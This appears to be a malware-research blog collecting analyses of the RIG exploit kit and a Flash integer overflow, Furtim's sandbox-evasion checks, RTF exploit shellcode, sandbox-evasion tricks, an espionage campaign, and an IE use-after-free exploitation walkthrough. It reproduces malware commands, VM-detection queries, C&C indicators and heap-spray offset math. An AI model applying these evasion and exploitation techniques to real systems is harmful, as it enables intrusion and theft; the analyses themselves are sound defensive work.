Malicious code Analysis and Research

Inside the RIG Exploit Kit Infection Chain and Adobe Flash Vulnerability CVE-2015-8651 ..!!

noreply@blogger.com (Chintan Shah) — Thu, 18 May 2017 05:10:00 +0000

We recently observed RIG exploit kit delivering Adobe Flash exploit that takes the advantage of Integer overflow vulnerability CVE-2015-8651 in the Adobe Flash and delivering the malware on the infected system. I got the opportunity to analyze the Rig exploit kit infection chain and the delivered exploit.

Infection Chain of Rig Exploit Kit

Infection starts when user accesses the link which initiates the “GET” request to “signup1.php” to the IP: 194.58.40.252. Current Whois information of this IP reveals that this server is hosted in Russian Federation

This web server was compromised which possibly would have been a part of the malvertising campaign, and the page was modified to inject the malicious iframe which would redirect the browser to the Exploit kit landing page.

Once the Browser is redirected to the landing page, server responds with the obfuscated JavaScript. Purpose of the JavaScript is most likely to determine the type and version of the browser running according to which the exploit will be delivered in subsequent stage.

Below is the part of the Deobfuscated JavaScript that contains the URL to request the flash exploit from the hosting server.

Subsequently, the Flash exploit is delivered to the victim machine that exploits the Adobe flash vulnerability. Below communication with the server depicts the clear picture of the flash file being delivered to the user.

Flash exploit triggers CVE 2015-8651 vulnerability post which the encrypted payload embedded in the flash file is executed.

Below picturizes the entire infection cycle of the Rig exploit kit.

Vulnerability exploited and the root cause

Vulnerability exploited by the delivered flash exploit: CVE 2015-8651. This vulnerability is due to the Integer overflow in Intrinsics Memory / Fast Memory opcode generation by ActionScript Virtual Machine JIT compiler.

Analysis of the exploit:

Execution of the ActionScript starts with the Init() method as show below which passes “-1820302793” which is 0x93806237 as the argument in the method_10 of the class 3 , where it gets XORED with the var_7 which is set in the method_1 by reading 32 bit Unsigned Integer from the ByteArray Class. The returned value is a string in which “QWERTY” is then replaced with “E” and subsequently appended to the var_209 . This resultant string is then stored in _loc_5_ which stores the decrypted shellcode and passed as the parameter to the sdfghfghfgj() function where ultimately exploit is triggered .

Function sdfghfghfgj() is the one that initiates the vulnerability triggering flow . This function calls the run () function internally which in turn executes the vulnerability check function “is_vuln()’ . Latter checks for the Windows version, flash versions and then prepares to triggers the vulnerability, and eventually triggers Integer overflow by calling the method get_big_ba()

As indicated earlier, function sdfghfghfgj() creates the instance of the class “world” which calls the prepare() method in the constructor to check for the following :
- Debug version checks
- Determine the flash player type
- Get the flash player version
- Get the OS type
Below is the code snippet performing above mentioned checks.

Vulnerability:

Adobe implemented a feature in the Adobe Flash Player called “DomainMemory” which was primarily used by developers to gain the fast read and write access to the domain memory. Domain memory opcodes are provided by the package avm2.intrinsics. memory. This package provides the methods to load / store integers to byte streams like ByteArrays. Integer overflow vulnerability lies in the way these Domain Memory opcodes are generated by Action Script Compiler (ASC). As seen below, Flash exploit imports these packages and specifically li32 and si32 which is used to load and store 32-bit unsigned integers into the memory.

Below is the documented list of Domain Memory opcodes provided for faster read and write access to ByteArrays.

Vulnerability existing in these si32 and li32 domain memory opcodes allows the attacker to perform arbitrary read and writes into the memory.

Triggering the Integer Overflow:

As indicated in the previous figure get_big_ba() function within the exploit is responsible to trigger the Integer overflow condition. In this function, first the several ByteArray objects is sprayed on the heap and then ByteArray.Length is corrupted. Domain memory data is initialized after that in the function make_big_ba() and then eventually confuse_ba() function is called where it is able to perform out-of-bounds read and write in the calls read_int_overflow() and write_int_overflow() respectively. However, the latter calls will achieve the arbitrary memory read /write using si32_overflow () and li32_overflow ().

Bypassing windows Mitigations to execute shellcode

Let's take a detailed look at how this flash exploit bypasses windows mitigations

Bypassing ASLR:

Exploit performs the ASLR bypass by creating the information leak. It leaks the address of the Initialized ByteArray object by calling the method get_obj_addr() and eventually gets the address of the objects’ virtual function table which is later corrupted by writing the address of VirtualProtect() API. As described in the earlier section, world:run_payload() method triggers the execution of the shellcode before which the mitigations are bypassed. In the run_payload() function , init_ba() function is called which initializes the ByteArray and ByteArray.Length is corrupted to gain RW primitives.

Below code snippet from the find_data() reveals the leaking of ByteArray object address.

Subsequently in the run_shell() function, find_virtprot() is called which resolves the address of the VirtualProtect () API leading to the ASLR bypass. Below is the code performing the address resolution.

In the subsequent code, address of the VirtualProtect () API is written using the acquired RW primitives [ write_uint() ] following which the arguments to the API are pushed.

In the following code, apply() method is called on the function object which will execute VirtualProtect () API and marks the shellcode buffer as RWX achieving DEP bypass.

Finally call() method is invoked on the dummy object, which will execute the shellcode as shown in the code below.

Details on the call() method of the function object as described by Adobe:

Intention and analysis of Shellcode

Once the shellcode is executed, it would connect and download additional malware from the attacker-controlled server. Debugging the Action Scripts with the AS debugger reveals that the shellcode embedded in the DefineBinaryData 1 tag of the flash file is decrypted with the key and then XORed with 0x84 during the execution.

Below is the snapshot of the code that decrypts the shellcode when the init() method is called initially.

During the execution , shellcode is then XORed with 0x84 as shown below.

Once code is XORed , it will execute and drop the JavaScript in the “Temp” directory, which is finally executed using the windows wscript engine with the command “wscript //B //E: Jscript o32.tmp”. Below is the XORed code.

Indented JavaScript is as show below for readability.

From the dropped JavaScript, it is apparent that exploit is downloading additional malware [ a DLL ] from the attacker controlled server and then executes it using “regsvr32.exe /s ” command.

Win32/Furtim : Malware With Galore Of Stealth And Evasions..

noreply@blogger.com (Chintan Shah) — Sun, 17 Jul 2016 16:26:00 +0000

Recently around a mid May 2016 , a sophisticated malware nicknamed Win32/Furtim was uncovered and since then , lot of noise has been made about the attribution of the malware and the suspected targets. One of its dropped components was believed to target European energy company while others believed it to be a credential stealer. However , while the purpose of the malware and the potential targets are still unclear and perhaps under investigation , this piece of code sounded extremely interesting to me because of the fact that , it goes an extra mile to implement heterogeneous techniques to hide its behavior. This methods are wide ranged from detecting installed Anti-Virus products, virtualization ,sandboxes, monitoring tools and plenty of stuff.

I wanted to take a in-depth look at the malware to see evasion techniques used.This code also has been obfuscated by using indirect calls to the huge extent to prevent static analysis . Apparently , it must also have several anti-debugging techniques to hide itself from debuggers. It uses ZwQueryInformationProcess with ProcessDebugPort to check if the process is running under the context of the debugger.

Bypassing user-space hooks

Win32/Furtim bypasses user space hooks by directly calling ntdll APIs. Several AV products and sandboxes implement user space hooks to monitor the API calls of the process. This malware uses lower level calls to avoid being monitored by traditional hooks. Some of the ntdll APIs that it tries to resolve:

Blacklisted processor architectures

It executes CPUID instruction after loading the registers with the appropriate values to get the processor brand string and compares with the blacklisted processor architectures. If found, it will terminate :

Apart from these , CPUID instruction also reveals the hypervisor details. Below is the check performed if the malware is running under hypervisor environment.

Blacklisted hostnames

Next it tries to detect the analysis system by checking the hostname . Process will terminate if it finds the hostname matching any of the ones in the blacklist.

These hostnames should apparently correspond to known sandboxes. Below are couple of instances found:

File paths containing the known strings

Many of the automated analysis systems including commercial sandboxes tend to use the "malware" , "sample" , "virus" etc in the file name or the path. Here is the check that is performed to match the path against the known path names or string after calling GetModuleFileNameW.

VxStream sandbox

It calls GetDriveTypeW to check if Z:\ drive exists on the system as a DRIVE_FIXED and then checks for Z:\\VxStream to see if it is running inside the VxStream sandbox.

Known hooking DLLs used by AV products for behavior monitoring

Antivirus products and sandboxes attempt to monitor the behavior of the processes by injecting the DLLs into its address space. These monitoring DLLs patch the API calls in the kernel32.dll redirecting to its own stub to log the behavior or to modify the stack before the call is made. It is very unlikely that ntdll will be hooked by commercial sandboxes unless unavoidable , since it interface is not consistent and changes between OS. Win32/Furtim calls the ntdll API GetLdrDllHandle to check if any of the below monitoring DLLs is loaded in the process . If it finds one , it will terminate.

Known sandbox / monitoring tools artifacts

As another addition to the implemented evasion techniques,it calls NtQueryAttributesFile to check if the infected machine has any of the blacklisted files . This list includes the check for Cuckoo sandbox,Cwsandbox, presence of debugger , Sysanalyzer monitoring tools,Gfisandbox , malware decoders and several others . It will perhaps refuse to run or alter its behavior if any of the file is existing on the machine .

Mismatch in the number of CPU cores reported

This is yet another clever check performed by the malware. It calls NtQuerySystemInformation to populate the buffer with SYSTEM_BASIC_INFORMATION. At the offset into the structure, it will access the SYSTEM_BASIC_INFORMATION.NumberOfProcessors to see if the Number of Processors reported is 1 . It the check is successful , it matches the brand string extracted using CPUID instruction with the known CPU brand strings to validate the number of CPU cores . If this check if successful , the process will prematurely terminate .

Dynamic anlaysis apparently reveals this fact :

Blacklist of processes related to known sandboxes / monitoring tools / Virtualization environment / Honeypots

Here is one more check for running processes to see if monitoring / debuggging / static analysis tools , sandbox processes , traffic capture tools, Honeypot processes are found in the infected system.

Kernel drivers associated with AV products / Monitoring tools / Virtualization

Another extensive blacklist of loaded kernel drivers. It calls NtQuerySystemInformation with SYSTEM_MODULE_INFORMATION to get the list of loaded kernel drivers and checks is performed against the below list:

Virtul NIC cards

Following virtual NIC cards are checked as well . It any of these virtual NICs are found , it will terminate the execution.

Before this code gets executed , it also checks for system with the NIC card named "Realtek RTL8139 Family PCI Fast Ethernet NIC" , username "Antony" or Antonie" and existance of C:\\Downloads directory. This doesn't sound like a sandbox specific configuration . Perhaps it doesn't want to run on a system owned by "Antony"

Hypervisor registry keys

As if these aren't enough, it also has the checks for the Hypervisor specific known registry keys. Below is the code that checks for it .

Next to this , it accesses the registry key:\\Registry\\Machine\\HARDWARE\\DESCRIPTION\\System\ and verifies if it has following values :

SystemBiosVersion has following data

BOSCH - 1
VBOX - 1
PRLS - 1

VideoBiosVersion has following data

Virtualbox

DLLs associated with analysis tools and sandboxes

Below list of DLLs are usually loaded by the tools used to analyse the malware samples (SysAnalyzer etc .) . Some of these are loaded by known sandboxes ( Sandboxie , Sunbelt , Buster)

Presence of "Vmware Tools" directory under C:\

Calls GetDriveTypeW to check if the C:\ is present on the system and checks for the existance of following directories:

C:\\Program Files\\VMware\\VMware Tools
C:\\Program Files (x86)\\VMware\\VMware Tool ( 64 bit systems)

Presence of Virtual HD

Below two registry keys are accessed and the value extracted is checked against the known Virtual HDs . A successful match with result into termination of process.

\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Enum\\IDE
\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Enum\\SCSI

QEMU_
VMware
Ven_Red_Hat&Prod_VirtIO
DiskVBOX
DiskVirtual

Presence of BioMetrics / Fingerprint software by ZkTeco

It is hard to believe that any malware would check for this . But it was interesting to know that it checks if ZkTeco software is installed on the system . Googling for this , apparently it is a provider of Biometrics / Fingerprint sensors . I can certainly say at this point that this malware has came out to be too restrictive. These nature of softwares wouldn't run on any automated analysis systems. Along with this, it also has the checks if the Path Names contains "Oracle" . Not sure if the author really intended to check for sandbox.

Registry check for installed traffic analyzers / analysis tools / virtual environment

Yet another list of software installations to check for in the registry.

Window class names / Window Title Names

Eventually , it also runs a check for the known window class and window title names used by sysinternals monitoring tools and sandboxes . Below is the exhaustive blacklist for that as well .

Malwares have become extremely evasive in nature to avoid running in the automated analysis systems. Authors employ variety of techniques to make static analysis time consuming and complex for the researchers as well. However , none of the techniques used in this malware is new or is something which we haven't seen before. Its just that its a comprehensive list of almost all the evasions that we would have probably came across in other malwares in the past.

Microsoft Office RTF Exploit : CVE 2015-1641 Dissecting the Shellcode

noreply@blogger.com (Chintan Shah) — Thu, 03 Sep 2015 06:42:00 +0000

Few days back , I came across interesting RTF exploit floating around, eventually concluded as CVE -2015-1641 vulnerability. I was particularly interested in knowing about the DEP / ASLR bypass mechanisms and shellcode used in this exploit . I decided to dig little deeper into this exploit to figure out how it overcomes the windows mitigation mechanisms.

First step for me to start with analysing any MS Office exploit is to run it through my own developed static analysis framework for Office exploits , which can precisely extract the embedded streams, locate the shellcode and can do bunch of other analysis stuff. Notice that 4 embedded binary objects has been extracted out of the RTF exploit.

Looking at the log file , we'll observe few stuff which is worth further investigation.

It has also extracted 2 Open Office XML document embedded within the RTF exploit. Static analysis framework further has the ability to re-analyse extracted OOXML files. If we take a look at the anlaysis.log file for the extracted_ooxml_1, it has detected a shellcode in the embedded object activeX1.bin

and similar for the extracted_ooxml_2

Below graphical representation of the shellcode apparently indicates the API address resolving code , parisng the export table as you'd normally see in most of the exploits.

Lets take a look at the interesting embedded binary objects.

ASLR Bypass - object_00000020.bin

otkloadr.WRAssembly.1 is the ProgID that loads otkloadr.dll. This DLL is linked to another MS Office component MSVCR71.dll , that will get loaded once the exploit is executed and the one which is used to bypass ASLR. MSVCR71.dll is shipped along with the MS Office and it is not compiled with /DYNAMICBASE which makes possible to hardcode the addresses for ROP chain.

object_000000E6.bin

This object contains the embedded OpenOffice XML document which includes activex1.bin that is used to perform the heap spray before the vulnerability is triggered. This technique is similar to the one used in CVE-2013-3906.

Following structure of the activex1.bin used for Heap Spray clearly reveals the shellcode. This structure of RET sledge + ROP chain + NOP + Shellcode is repeated every 0x20000 bytes

object_000187A1.bin is responsible for triggering the vulnerability. I wont't be digging much into the vunerability details since it has already been covered in greater depth in the blog over here

object_0002802c.bin also has OOXML document embedded and activex1.bin inside it leads to believe that EIP will be overwritten with 0x08080808 after the vulnerability is exploited. It is yet unidentified at what point this happens but the structure of the binary object is apparent. This can be confirmed by launching the exploit in the debugger as exposed in the next section.

One of the fact to note about this exploit is that it crashes several times when the execution is transferred to the heap at address 0x08080808, where the shellcode doesn't exist. Once we launch the exploit in the debugger , we can check out the non-aslr module MSVCR71.dll loaded by otkloadr.dll

After the exploit is launched , it performs the heap spray and subsequently,vulnerability is triggered to redirect the execution control to the heap , overwriting EIP with 0x08080808.

Shellcode Analysis - 1st Stage

1. Beginning of the 1st stage shellcode, as we would usually see in most of the exploits, parses the Process Environment Block ( PEB ) and deternines the base address of kernel32.dll. It then parses the export table of kernel32.dll to resolve the address of VirtualAlloc( ) API.

2 . Calls VirtualAlloc ( ) to allocate the buffer and copies the hashes of the APIs to be resolved further, and then again returns to the export table parsing routine to resolve address of GetFileSize ( ) , CreateFileMapping ( ) and MapViewofFile ( )

3 . Next, the shellcode tries to locate itself in the memory by incrementally passing the file handles to the GetFileSize in the looped code. If the file size is greater than 40KB and less than 2MB, it calls CreateFileMapping and MapViewofFile ( ) to map the file into the address space of the calling process and matches the first 4 bytes of the file to check the RTF header.

4 . Subsequently, it adds the offset 0x10000h to the beginning of the file and searches for the 2nd stage shellcode marker 0xFEFEFEFE and 0xFFFFFFFF and eventually jumps to execute it.

Shellcode Analysis - 2nd Stage

1 . At an offset 0x2E from the start of the 2nd stage shellcode , it XORes 0x3CC bytes of the shellcode with the single byte XOR key 0xFC.

2 . Calls NtQueryVirtualMemory( ) API to retrieve the original name of the exploit document , converts the filename to ASCII using WideChartoMultibyte ( ) and then calls GetLogicalDriveStringsA ( ) to append the current logical drive to the document name

3 . Searches for the marker 0xBABABABA, subsequently decodes the XORed encoded executable with 4 byte XOR key 0xCAFEBABE , calls GetTempPathA ( ) and writes the decoded executable to the %temp% directory with the name svchost.exe

4. Next part of the shellcode searches for the marker 0xBCBCBCBC , XOR decodes the decoy document with the 4 byte XOR key 0xBAADF00D and then calls previously resolved API UnmapViewOfFile ( ) to unmap the original exploit file from the process's address space,writes the decoy file to the original exploit document and eventually executes it using WinExec ( )

5. Invokes cmd.exe to delete the registry key "HKCU\Software\Microsoft\Office\12.0\Word\Resiliency" with /F switch to force delete and suppress the error messages from Winword.exe

Decoy document :

At the time of writing this analysis, dropped executable connected to the C&C server login.loginto.me resolving to 58.158.177.102. Based on the passive DNS records this domain also resolved to 23.249.225.140

Evading Sandboxes : Into The Loopholes Of Sandboxing Technology - Part 2

noreply@blogger.com (Chintan Shah) — Sat, 11 Apr 2015 12:13:00 +0000

Malware authors tend to come out with the innovative methods to detect the virtualized / sandboxing territory and cease to execute the moment they discover it. A while back , I blogged about some of the sandbox evasion techniques used by malwares. In this part , I'll walk through some of the most recent and efficient evasions used by malicious code to identify sandboxes.

Today, Advance persistent threats and targeted attacks tend to wait for the human interaction with the system to activate the malicious code. Since automated malware analysis frameworks process millions of samples per day, human interaction is bare minimal and malwares does not replicate and as a result, does not show complete behavior. Underlying hardware used to replicate the malwares also expose several artifacts about the environment which isn't too hard to notice.

Another flavour of DeviceIoControl ( )

In my previous post on this topic , I talked about the technique of using DeviceIoControl ( ) API to fingerprint the hard disk properties. This technique was yet again observerd in Win32/Phorpiex family of malware with the different IO control code. Win32/Phorpiex uses the IoControl Code 0x2D1400 (IOCTL_STORAGE_QUERY_PROPERTY) to check the returned device properties for virtual hard drives.

With this method , notice the output on Vmware and Qemu . It exposes the underlying hard drive properties on both the virtualized environment.

Windows Management Instrumentation

Windows Management Instrumentation is the Microsoft’s implementation of Web-Based Enterprise Management (WBEM) which is the industry initiative to develop standard technology for accessing management information .WMI is the default windows service that can execute the WMI scripts which is typically used to automate the administrative tasks. Above that, it provides common interface and object model to extract the management information about the OS, processor, hardware devices, applications and services.

Malwares can abuse this windows interface in multiple ways. One of the method is using WMI Query Language (WQL) to issue the SQL type queries to extract the hardware information. For instance, following queries can be issued by the malware to retrieve the Hard Drive / Processor information and match the keyword QEMU / VMware / Xen in the values returned.

SELECT *FROM Win32_Processor
SELECT *FROM Win32_BIOS
SELECT *FROM Win32_DiskDrive
SELECT *FROM Win32_SCSIController
SELECT *FROM Win32_ComputerSystem

Checking the time acceleration using GetTickCount ( )

Traditional ways to detect the userland hooks had been to check if the function code does not start with the JMP or CALL instruction. One of the variant of Win32 / Kovter malware family was found to be using slightly different way of checking for the user mode hooks using time acceleration. It calls the API GetTickCount, then sleeps for 500 milliseconds and then calls the GetTickCount again to take the difference of the elapsed time. Sandbox systems historically have been patching sleep ( ) calls to force the stalling code execute faster. This technique performs the difference the time and checks if the code has stalled enough before executing the malicious code. It will terminate the execution if it determines that enough time has not elapsed between these instructions.

No of CPU cores on the virtual machine

Checking the number of CPU cores on the machine executing the malware is yet another elementary way of detecting the sandboxes environment. Analysis machines used by sandboxing environment are customarily configured with the single core while physical machines are predominantly multi core machines. Malwares can get the number of CPU cores by just calling the GetSystemInfo ( ) API taking the pointer to the SYSTEM_INFO structure, which returns the system data.SYSTEM_INFO structure contains the attribute dwNumberOfProcessors field which can be checked to see if the system is a single core machine.

Similar check can also be done by accessing the Process Environment Block of the running process. Offset 0x64 in the PEB defines the NumberOfProcessors on the system.

Foreground Windows check using GetForegroundWindow API ( )

One of the very predictable behavior of sandboxes is that they do not change or switch between the windows when the malware is being executed. Typically, this window would be the one from where the malware is executed and could be most likely desktop window. Recent variant of Win32 / Gataka banking malware was found to be taking the advantage of this behavior by calling GetForegroundWindow () API to get the handle of the current foreground window. Malware ceaselessly calls this API in the loop until the current window handle is changed after which it starts executing the malicious payload, thereby checking if the human is interacting with the execution environment.

Waiting for mouse clicks using SetWindowsHookEx ( ) API

Variants of Win32 / Banechant malwares employs more stealthier mechanism to evade the sandboxes. It installs the hook procedure using SetWindowsHookEx with the hookId 0x0E into the hook chain to monitor low level mouse events. This API defines the HOOKPROC specifying the callback function to execute when the windows receives mouse events. Earlier variants of Win32 / Banechant checked for a single left mouse click in the callback function before the malicious code is executed while the later variants came with the improved technique of checking for the more than three left mouse clicks before the activation of the payload.

As and when sandboxing technology becomes more popular and its adoption grows , malware authors will employ increasing level of sophistication in detecting sandboxes. It is extremely crucial for automated malware analysis systems to keep abreast of all such methods and patch it to keep the environment hidden.

Espionage Attacks On Indian Organizations Continues In 2015 With More Politically Themed Exploits..!!

noreply@blogger.com (Chintan Shah) — Fri, 27 Feb 2015 18:20:00 +0000

In November last year, I blogged about Operation Mangal , an ongoing targeted attack campaign against several Indian domestic and overseas organizations. I was actively tracking the campaign since last year. In my previous analysis of this attack I uncovered several exploits that were politically themed and closely connected to India’s developmental agenda. The exploits lured victims into opening malicious documents that compromised their machines and stole confidential data. We found that this campaign has been going on since 2010 with periodic variations in the malware families.

Since January this year, we have seen a steady flow of similar exploits as part of this campaign. These exploits continue to be politically themed and closely follow national events. The following are some recent exploit filenames or themes:

Indian Diplomacy At Work — UNSC Reforms.doc (MD5: faa97d7c792e3d8e7fffa9ea755c8efb; first seen: Oct 31, 2014).
Vibrant Gujarat Summit 2015.doc (MD5: b44a0ebddabee48c1d18f1e24780084b; first seen: Jan 6).
U.S.,_India_to_formulate_smart_city_action_plans_in_three_months.doc (MD5: b0ae36bcf725d53ed73126ed56e55951; first seen: Jan 28).

During late 2014 and early 2015, the attackers modified the shellcode and the dropped malware family, continuously changing their tools and techniques. Some of the recent exploits involved in this campaign has been found to be dropping PlugX malware . The following images show how the shellcode has been modified between exploits observed on January 6 (at left) and January 28 (at right).

While researching this campaign , I was able to gain access to one interim control server, which appears to be the short-term registration server that the compromised host communicates with after decoding the first-stage URL. The directory structure of the control server is:

/cms:

This directory holds all the client data in JavaScript Object Notation from compromised machines connected to this server. The following image shows the directory structure and the information stored in the file:

Filename: h_HOST-NAME_TIMEVAR_t. All the machine information (IP, MAC, OS type, hostname, OS version, infection time stamp, etc.) was recorded on the remote server with this filename.

Next we see how the machine information looks on the control server, highlighting the infection time stamp from late last year:

Filename: r_off_PCNAME_TIME_TIME_t. This holds base-64 encoded data for command-line outputs that ran on the compromised host.

Decoding this data reveals the command that was executed on the compromised host and also exposes the list of documents and files on the machine that could have been stolen.

Filename: c_HOSTNAME_TIME_t. This file holds an encoded WMI script or script variables in the following form:

which turns out to be a readable WMI script when decoded:

Filename: d_rdown_HOSTNAME_TIME_t. This file is uploaded from the compromised host to the control server.

Filename: rdown_HOSTNAME_TIME_t. This file is downloaded from the control server to the compromised machine. It could contain post-exploitation tools to run on the host.

/tools:

The tools directory hosts several post-exploitation tools and malware to be downloaded from the control server to run on compromised machines. We found malicious DLLs, rootkits, encoded JavaScript malware, and cab files. One of the WMI scripts is an installer for other malware:

I have been able to track down the location of many of this campaign’s control servers, primarily in the United States and China. More than 60% of the servers were hosted in the United States and more than 20% were hosted in China.

Attackers are continuously on the lookout for social engineering opportunities. Influencing targeted users to open malicious documents following national events is one the most effective and effortless ways of performing these espionage attacks. Users need to exercise extreme caution when opening documents from unknown sources and use patched software.

I would like to thank my fellow researcher Brad Arndt for assistance in researching and tracking this campaign.

Analyzing 2014-0282 Internet Explorer CInput Use-after-Free Vulnerability..!!

noreply@blogger.com (Chintan Shah) — Sun, 04 Jan 2015 05:32:00 +0000

Sometime during the mid of the last year, Proof-of-Concept code for the Use-after-Free vulnerability was published on the exploit-db effecting Internet Explore 8, 9 and 10. I was kind of interested in picking up this exploit code and debug to see the inner workings of the exploit and checkout how it looks like in the debugger. Another motive of debugging this exploit was to spend some cycles to do the precision heap spray technique to control the placement of the shellcode on the heap address of our choosing.

Let's start by taking a quick look at the published exploit code on exploit-db and walk through it to gain some basic understanding of what should we expect, when we execute this code inside the debugger.

In the above PoC code, a form with the id "testfm" is created following which 2 "TextArea" and 2 "Input" elements and are created. If we notice the changer( ) function in the PoC code, it frees up the contents of the form where the "TextArea" objects are also freed up. In the last portion of the script, element "child2" is being set to true and changer ( ) function is set to be called on the property change event of child2 element.

If you look at the code closely, in the last part, reset( ) function is called and iterated over the form element, which actually calls the CFormElement::DoReset ( ) function. This function will basically iterate over the each of the 4 elements of the form and resets its properties, In the iteration where the "child2" element properties is reset, changer( ) function is called and the form properties is reset which will also free the "child3" element properties. Eventually, in the last iteration, it will try to reset the properties of "child3" element and since the object is already freed, Reset( ) function call on that element will crash.

Let's try to execute this code in the debugger and see if we encounter the crash in IE 8.

As expected, IE crashes in the debugger, if we checkout the state of the IE in the debugger we can apparently see that Instruction pointer ( EIP ) is pointing to the invalid memory and consequently it is crashing at that point since it is not able to disassemble the code.

Next step is to check the call stack and see if we can dig out some more details on the crash.

Highlighted portion in the above call stack apparently shows that IE crashed while executing CFormElement::DoReset( ) function. If we disassemble at the Return Address 0x665a1742, it would look following.

Seemingly, we can see that crash happened while calling the virtual method. ESI was pointing to the object memory in the heap. In the first "mov" instruction the Virtual Function table pointer was moved to EAX after which IE was attempting to call the virtual method at the offset 1CC into the virtual function table during which it crashed since code cannot be disassembled at that memory address. This is the classic case of Use-After-Free vulnerability where the object was freed previously and ESI register was pointing to the freed memory which was 0x60 ( 96 ) bytes in size . We can confirm it from the below debugger screenshot.

To further validate our observation, we can enable the page heap and user stack trace and see if it crashes again at the "call" instruction. Page heap will enable us to track all the heap allocations, chunk sizes and also track the freed up memory. Let's enable the page heap using gflags.exe and re-run the exploit to check if it crashes again at the same point.

Below is what I hit after enabling the page heap.

This is exactly what we expected. Apparently, IE8 crashed again at the "call" instruction while attempting to execute the virtual function method. Ggflags.exe keeps track of all the freed heap chunks and fills it up by 0xf0f0f0f0 which is used in the following call instruction to access the offset 1CC into the VFtable and then crashes. Disassembly at the crash location is following:

Following shows where the ESI and VFTable pointer was pointing to when the call was executed.

Page heap will also allow us to visualize when the heap memory was freed and what was the size of the freed heap chunk. Take a look at this below screenshot especially the highlighted portion. This validates our conclusion.

Another way to figure out the size of the freed object is to disassemble the mshtml.dll. There would be a constructor allocating the memory using HeapAlloc( ) and we can check the size of the allocated chunk as shown below.

Next, If we can craft the exploit code in such a way that we make IE to reallocate the same freed memory with our controlled data, then essentially it would mean that we will be able to control the "Call" destination which consequently will lead to remote code execution. With our previous analysis, we already have the information on what should be the size of the heap memory that needs to be allocated. We can force Internet Explorer to re-allocate the same memory if we create the fake object of the same size ( 0x60 bytes ).

Before diving further, let's first briefly understand the concept of Low Fragmentation Heap ( LFH ) used for servicing the memory allocation requests in windows and Virtual Function method calls.

Low Fragmentation Heap

In Windows, when an application would request for certain size of the memory chunk, heap allocator will dynamically allocate the memory from the process heap and hand it over to the application for use. Later if the application no longer requires that chunk, it can free the allocated memory, after which the freed memory is tracked by the front-end cache manager. Since the application can request and free the memory as and when required, consequently the heap can be fragmented which is not the ideal condition. In order to minimize the heap fragmentation, cache manager will track the list of freed chunks and will allocate from the that list if possible.

Low Fragmentation Heap in Windows is basically a heap allocation policy where, given the certain amount of memory allocation request of size X, it will try to allocate the memory of that same size contiguously. Now, there are multiple things coming out here in favour of the attacker.

If the allocator is requested memory of size X, which it already finds in its free list of chunks, it would try to re-allocate the same memory chunk to the requesting application. This implies that if application frees certain chunk of memory and requests the same size of memory again, there is a high possibility that application will get the same memory chunk freed previously.
Additionally, this sort of allocation behavior will also make the heap allocations predictable. This essentially means that, if certain threshold number of allocations of size X is given to the heap allocator, all of these blocks will be allocated together and we are almost certain that attacker can place his controlled data to the heap address that he likes. For eg. 0x0c0c0c0c.

Virtual Function method calls

In Object Oriented world, parent or a base class can supply the methods which can be overridden by the child or derived class in its definition. Until run time, compiler would not know if the method of the base class or the derived class is required to be called. To make this much simpler, objects would typically have first 4 bytes as the pointer to the Virtual Function table which is a pointer to the array of function pointers. Visualize the object's memory and virtual functions as below.

In our analysis so far, We've seen that we are getting the crash while calling the virtual function at address EAX+1CC, where EAX holds the pointer to the VFtable. Our idea is, if we can control the call to this destination by:

Creating the enough fake object allocations of the same size, thereby forcing the IE to re-allocate the same previously freed memory.
Create the fake virtual function table by allocating the large amount of heap memory with another object, thereby placing our controlled data [which will usually be the ROP gadgets], at the predictable address [ for Eg. 0x0c0c0c0c. I am just using this address as an example. We can use any other heap address like 0x0a0a0a0a, 0x0b0b0b0b etc. ].

If we can achieve both of these above mentioned conditions, we can do the arbitrary code execution. Now let's slightly modify the exploit code to see if we can achieve the first condition. We'll modify the changer( ) function in the exploit to perform good amount of fake object allocations and see that IE re-allocates the previously freed memory thereby corrupting the object's VPTR. In the below modified exploit code, we would attempt to overwrite the object's VPTR by 0x41414141, subsequently, the crash will happen while calling virtual method at address 0x41414141 + 0x1cc, which equals 0x4141430D.

Apparently, we created 0x1000 "img" elements and set the image's title to the 0x60 bytes ( including 4 bytes of length and 2 bytes of null character. We need to use the unescape( ) here, else the string will be Unicode in the memory. If we re-launch IE with this exploit, we get the crash while calling the code at below address as expected.

This validates our claim and we've made IE to reallocate the previously freed memory and EAX holds the pointer to our fake virtual function table, which so far doesn't exist. Also, we are now certain that, we can corrupt the object VPTR and set it to something useful which we can control.

Precision Heap Spraying

Precision Heap Spray relates to our second condition that we want to achieve. Essentially, we need to fill up good amount of heap memory with attacker controlled data, which includes the ROP gadgets + Shellcode that needs to be executed. ROP gadgets will mark the area of the memory where the shellcode resides, as executable, bypassing DEP, and finally will execute it. One of the primary thing that needs to be done here is to allocate the heap with precision, such that our ROP chain will start exactly from the address 0x0C0C0C0C [given that we wish to control the data placed at that address].

Given above conditions, we will have to overwrite the object's VPTR with the 0x0C0C0A40. Our exploit plan will finally look like the below diagram.

Next, with the below basic heap spray script, we'll examine the allocations in Windbg and subsequently optimze the script to place our controlled data at the target address.

Looking this under Windbg, our allocations will come out to be like below. Apparently, the heap spray that we executed accounted for 98.8% of the memory which is a good indicator. Also check the size ( 0xfffe0 ) which confirms that it is the result of what we executed.

It is important to check in which heap chunk the target address is located, and turns out that it is in the chunk 0x0C090018 [ address might differ on other systems ]

Also, note below that data we want to place at the target address [ deaddead ] is not there at the moment.

Now, here is our mathematics to achieve the precise heap spray such that, our controlled data "deaddead" will be certainly placed at our target address 0x0C0C0C0C.

Subtracting the heap entry address from the target address gives us the total distance from the heap entry to our controlled data. 0x0C0C0C0C - 0C090018 = 30BF4 . We need to determine the offset into this heap chunk, such that when we add 0x1000 to the heap entry and subtract the resulting address from 0x0C0C0C0C, then value is less than 0x1000 [ i.e 4096 ]. With the little bit of experimentation, that heap address comes out to be 0x0C0C0018.
Subtracting 0x0C0C0018 from our target address 0x0C0C0C0C = BF4. If we divide this by 2 and then again subtract 6 from the resulting value, i.e ( BF4 / 2 ) - 6 , for BSTR header of 4 bytes and null characters of 2 bytes we have value 5F4
Now if we insert the padding of this size , we can align our shellcode exactly to the target address.

We'll have to modify the above basic heap spray script such that the data we'd like to place "deaddead" is at the target address. I will leave this as a exercise to the reader. If you do this correctly, it should look like below:

This validates our claim that with the careful crafting of the exploit, attacker can place the shellcode at the address of his choosing and eventually control the program execution. Finally, go ahead and embed the heap spray function into our main exploit POC code and we should see the Instruction Pointer register ( EIP ) overwritten with the dword "0x64616564".

